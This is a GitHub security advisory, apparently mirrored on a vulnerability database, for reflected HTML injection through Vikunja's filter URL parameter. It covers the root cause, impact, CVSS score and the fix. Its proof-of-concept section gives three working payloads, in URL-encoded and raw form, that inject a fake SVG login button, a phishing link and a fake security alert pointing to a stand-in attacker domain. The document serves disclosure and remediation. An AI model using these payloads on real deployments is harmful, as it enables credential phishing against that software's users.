GHSA-4QGR-4H56-8895

Vulnerability from github – Published: 2026-02-25 22:01 – Updated: 2026-02-25 22:01
VLAI?
Summary
Vikunja has Reflected HTML Injection via filter Parameter in its Projects Module
Details

Summary

Vikunja is an open-source self-hosted task management platform with 3,300+ GitHub stars. A reflected HTML injection vulnerability exists in the Projects module where the filter URL parameter is rendered into the DOM without output encoding when the user clicks "Filter." While <script> and <iframe> are blocked, <svg>, <a>, and formatting tags (<h1>, <b>, <u>) render without restriction — enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin.

Attack flow: Attacker shares a crafted project filter link (routine Vikunja workflow) → victim opens it → victim clicks "Filter" (standard UI action) → phishing content renders inside trusted Vikunja interface.

Affected Component

Field Detail
Application Vikunja v1.1.0
Module Projects
Endpoint /projects/-1/-1?filter=PAYLOAD&page=1
Parameter filter (GET)
Trigger Click "Filter" button
Stack Go backend, Vue.js + TypeScript frontend
Blocked <script>, <iframe>
Allowed <svg>, <a>, <rect>, <text>, <h1>, <b>, <u>

Proof-of-Concept

PoC-1: SVG Phishing Button (Highest Impact)

Renders a styled, clickable red button redirecting to attacker domain. Visually indistinguishable from a real UI button.

http://localhost:3456/projects/-1/-1?filter=%3Csvg%20width%3D%22400%22%20height%3D%2260%22%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%3Crect%20width%3D%22400%22%20height%3D%2260%22%20rx%3D%224%22%20fill%3D%22%23d32f2f%22%3E%3C%2Frect%3E%3Ctext%20x%3D%22200%22%20y%3D%2237%22%20text-anchor%3D%22middle%22%20fill%3D%22white%22%20font-size%3D%2216%22%3ESession%20Expired%20-%20Click%20to%20Re-authenticate%3C%2Ftext%3E%3C%2Fa%3E%3C%2Fsvg%3E&page=1

Raw payload:

<svg width="400" height="60"><a href="https://attacker.example.com/login"><rect width="400" height="60" rx="4" fill="#d32f2f"></rect><text x="200" y="37" text-anchor="middle" fill="white" font-size="16">Session Expired - Click to Re-authenticate</text></a></svg>

PoC-2: Phishing Link via Heading + Anchor

Prominent clickable link styled as urgent system message.

http://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%E2%9A%A0%20Your%20session%20has%20expired.%20Click%20here%20to%20sign%20in%20again.%3C%2Fa%3E%3C%2Fh1%3E&page=1

Raw payload:

<h1><a href="https://attacker.example.com/login">⚠ Your session has expired. Click here to sign in again.</a></h1>

PoC-3: Content Spoofing — Fake Security Alert

Fake security warning directing victim to attacker-controlled contact.

http://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Cu%3E%3Cb%3E%E2%9A%A0%20SECURITY%20ALERT%3C%2Fb%3E%3C%2Fu%3E%3C%2Fh1%3E%3Cb%3EUnauthorized%20access%20detected%20on%20your%20account.%20Your%20account%20will%20be%20suspended%20in%2024%20hours.%20Contact%20IT%20security%20immediately%20at%20security%40attacker.example.com%20or%20visit%20https%3A%2F%2Fattacker.example.com%2Fverify%20to%20confirm%20your%20identity.%3C%2Fb%3E&page=1

Raw payload:

<h1><u><b>⚠ SECURITY ALERT</b></u></h1><b>Unauthorized access detected on your account. Your account will be suspended in 24 hours. Contact IT security immediately at security@attacker.example.com or visit https://attacker.example.com/verify to confirm your identity.</b>

Root Cause

The filter parameter is inserted into the DOM as raw HTML — likely via Vue.js v-html or innerHTML. A partial denylist strips <script> and <iframe> but does not encode output or filter SVG/anchor/formatting elements. No allowlist, no output encoding, no input syntax validation exists.

Impact

Impact Description
SVG Phishing Buttons Pixel-perfect fake buttons redirect to credential harvesting pages
External Redirect Anchor tags point to attacker domains from within trusted origin
Content Spoofing Fake alerts manipulate users into contacting attacker channels
Self-Hosted Risk Compromised credentials may grant access to internal infrastructure
API Access Same credentials grant full REST API access for data exfiltration
No Logging GET-based reflected injection leaves no distinguishable server logs

Not Self-XSS: Payload is attacker-controlled via URL, delivered through routine link sharing, triggered by standard UI interaction. Victim performs no security-relevant decision.

CWE & CVSS

CWE-79 (Primary) — Improper Neutralization of Input During Web Page Generation

CWE-80 (Secondary) — Improper Neutralization of Script-Related HTML Tags

CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N6.1 (Medium)

Score understates risk because: user interactions are routine workflow (not security decisions), SVG enables pixel-perfect UI spoofing, self-hosted deployments expose internal infrastructure, and API credential equivalence enables automated data exfiltration.

Remediation

Priority Action
P0 Replace v-html with v-text or {{ }} interpolation (auto-escapes HTML)
P0 HTML entity encode the filter value at rendering point
P1 Replace denylist with DOMPurify strict allowlist or eliminate HTML rendering of filter values
P1 Deploy CSP with form-action 'self'
P2 Server-side input validation — reject filter values not matching expected syntax

References

  • Vikunja Repository: https://github.com/go-vikunja/vikunja
  • CWE-79: https://cwe.mitre.org/data/definitions/79.html
  • CWE-80: https://cwe.mitre.org/data/definitions/80.html
  • OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html

Conclusion

The filter parameter in Vikunja's Projects module renders unsanitized HTML into the DOM, enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin. The attack requires only routine workflow actions — opening a shared link and clicking "Filter." The fix is a single-line change: replacing v-html with v-text in the Vue.js rendering logic. Given Vikunja's adoption (3,300+ stars), self-hosted deployment model, and API credential equivalence, this warrants prompt remediation.

image

A fix is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.24.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27116"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79",
      "CWE-80"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T22:01:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n[Vikunja](https://github.com/go-vikunja/vikunja) is an open-source self-hosted task management platform with 3,300+ GitHub stars. A reflected HTML injection vulnerability exists in the Projects module where the `filter` URL parameter is rendered into the DOM without output encoding when the user clicks \"Filter.\" While `\u003cscript\u003e` and `\u003ciframe\u003e` are blocked, `\u003csvg\u003e`, `\u003ca\u003e`, and formatting tags (`\u003ch1\u003e`, `\u003cb\u003e`, `\u003cu\u003e`) render without restriction \u2014 enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin.\n\n**Attack flow:** Attacker shares a crafted project filter link (routine Vikunja workflow) \u2192 victim opens it \u2192 victim clicks \"Filter\" (standard UI action) \u2192 phishing content renders inside trusted Vikunja interface.\n\n## Affected Component\n\n| Field | Detail |\n|---|---|\n| Application | Vikunja v1.1.0 |\n| Module | Projects |\n| Endpoint | `/projects/-1/-1?filter=PAYLOAD\u0026page=1` |\n| Parameter | `filter` (GET) |\n| Trigger | Click \"Filter\" button |\n| Stack | Go backend, Vue.js + TypeScript frontend |\n| Blocked | `\u003cscript\u003e`, `\u003ciframe\u003e` |\n| Allowed | `\u003csvg\u003e`, `\u003ca\u003e`, `\u003crect\u003e`, `\u003ctext\u003e`, `\u003ch1\u003e`, `\u003cb\u003e`, `\u003cu\u003e` |\n\n## Proof-of-Concept\n\n### PoC-1: SVG Phishing Button (Highest Impact)\n\nRenders a styled, clickable red button redirecting to attacker domain. Visually indistinguishable from a real UI button.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Csvg%20width%3D%22400%22%20height%3D%2260%22%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%3Crect%20width%3D%22400%22%20height%3D%2260%22%20rx%3D%224%22%20fill%3D%22%23d32f2f%22%3E%3C%2Frect%3E%3Ctext%20x%3D%22200%22%20y%3D%2237%22%20text-anchor%3D%22middle%22%20fill%3D%22white%22%20font-size%3D%2216%22%3ESession%20Expired%20-%20Click%20to%20Re-authenticate%3C%2Ftext%3E%3C%2Fa%3E%3C%2Fsvg%3E\u0026page=1\n```\n\nRaw payload:\n```html\n\u003csvg width=\"400\" height=\"60\"\u003e\u003ca href=\"https://attacker.example.com/login\"\u003e\u003crect width=\"400\" height=\"60\" rx=\"4\" fill=\"#d32f2f\"\u003e\u003c/rect\u003e\u003ctext x=\"200\" y=\"37\" text-anchor=\"middle\" fill=\"white\" font-size=\"16\"\u003eSession Expired - Click to Re-authenticate\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e\n```\n\n### PoC-2: Phishing Link via Heading + Anchor\n\nProminent clickable link styled as urgent system message.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%E2%9A%A0%20Your%20session%20has%20expired.%20Click%20here%20to%20sign%20in%20again.%3C%2Fa%3E%3C%2Fh1%3E\u0026page=1\n```\n\nRaw payload:\n```html\n\u003ch1\u003e\u003ca href=\"https://attacker.example.com/login\"\u003e\u26a0 Your session has expired. Click here to sign in again.\u003c/a\u003e\u003c/h1\u003e\n```\n\n### PoC-3: Content Spoofing \u2014 Fake Security Alert\n\nFake security warning directing victim to attacker-controlled contact.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Cu%3E%3Cb%3E%E2%9A%A0%20SECURITY%20ALERT%3C%2Fb%3E%3C%2Fu%3E%3C%2Fh1%3E%3Cb%3EUnauthorized%20access%20detected%20on%20your%20account.%20Your%20account%20will%20be%20suspended%20in%2024%20hours.%20Contact%20IT%20security%20immediately%20at%20security%40attacker.example.com%20or%20visit%20https%3A%2F%2Fattacker.example.com%2Fverify%20to%20confirm%20your%20identity.%3C%2Fb%3E\u0026page=1\n```\n\nRaw payload:\n```html\n\u003ch1\u003e\u003cu\u003e\u003cb\u003e\u26a0 SECURITY ALERT\u003c/b\u003e\u003c/u\u003e\u003c/h1\u003e\u003cb\u003eUnauthorized access detected on your account. Your account will be suspended in 24 hours. Contact IT security immediately at security@attacker.example.com or visit https://attacker.example.com/verify to confirm your identity.\u003c/b\u003e\n```\n\n## Root Cause\n\nThe `filter` parameter is inserted into the DOM as raw HTML \u2014 likely via Vue.js `v-html` or `innerHTML`. A partial denylist strips `\u003cscript\u003e` and `\u003ciframe\u003e` but does not encode output or filter SVG/anchor/formatting elements. No allowlist, no output encoding, no input syntax validation exists.\n\n## Impact\n\n| Impact | Description |\n|---|---|\n| SVG Phishing Buttons | Pixel-perfect fake buttons redirect to credential harvesting pages |\n| External Redirect | Anchor tags point to attacker domains from within trusted origin |\n| Content Spoofing | Fake alerts manipulate users into contacting attacker channels |\n| Self-Hosted Risk | Compromised credentials may grant access to internal infrastructure |\n| API Access | Same credentials grant full REST API access for data exfiltration |\n| No Logging | GET-based reflected injection leaves no distinguishable server logs |\n\n**Not Self-XSS:** Payload is attacker-controlled via URL, delivered through routine link sharing, triggered by standard UI interaction. Victim performs no security-relevant decision.\n\n## CWE \u0026 CVSS\n\n**CWE-79** (Primary) \u2014 Improper Neutralization of Input During Web Page Generation\n\n**CWE-80** (Secondary) \u2014 Improper Neutralization of Script-Related HTML Tags\n\n**CVSS 3.1:** `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` \u2014 **6.1 (Medium)**\n\nScore understates risk because: user interactions are routine workflow (not security decisions), SVG enables pixel-perfect UI spoofing, self-hosted deployments expose internal infrastructure, and API credential equivalence enables automated data exfiltration.\n\n## Remediation\n\n| Priority | Action |\n|---|---|\n| P0 | Replace `v-html` with `v-text` or `{{ }}` interpolation (auto-escapes HTML) |\n| P0 | HTML entity encode the `filter` value at rendering point |\n| P1 | Replace denylist with DOMPurify strict allowlist or eliminate HTML rendering of filter values |\n| P1 | Deploy CSP with `form-action \u0027self\u0027` |\n| P2 | Server-side input validation \u2014 reject filter values not matching expected syntax |\n\n## References\n\n- Vikunja Repository: https://github.com/go-vikunja/vikunja\n- CWE-79: https://cwe.mitre.org/data/definitions/79.html\n- CWE-80: https://cwe.mitre.org/data/definitions/80.html\n- OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html\n\n## Conclusion\n\nThe `filter` parameter in Vikunja\u0027s Projects module renders unsanitized HTML into the DOM, enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin. The attack requires only routine workflow actions \u2014 opening a shared link and clicking \"Filter.\" The fix is a single-line change: replacing `v-html` with `v-text` in the Vue.js rendering logic. Given Vikunja\u0027s adoption (3,300+ stars), self-hosted deployment model, and API credential equivalence, this warrants prompt remediation.\n\n\u003cimg width=\"1920\" height=\"1020\" alt=\"image\" src=\"https://github.com/user-attachments/assets/007f9b1a-fd20-4fe8-84e5-1bf886a5a7a9\" /\u003e\n\nA fix is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0.",
  "id": "GHSA-4qgr-4h56-8895",
  "modified": "2026-02-25T22:01:25Z",
  "published": "2026-02-25T22:01:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-4qgr-4h56-8895"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/a42b4f37bde58596a3b69482cd5a67641a94f62d"
    },
    {
      "type": "WEB",
      "url": "https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja has Reflected HTML Injection via filter Parameter in its Projects Module"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…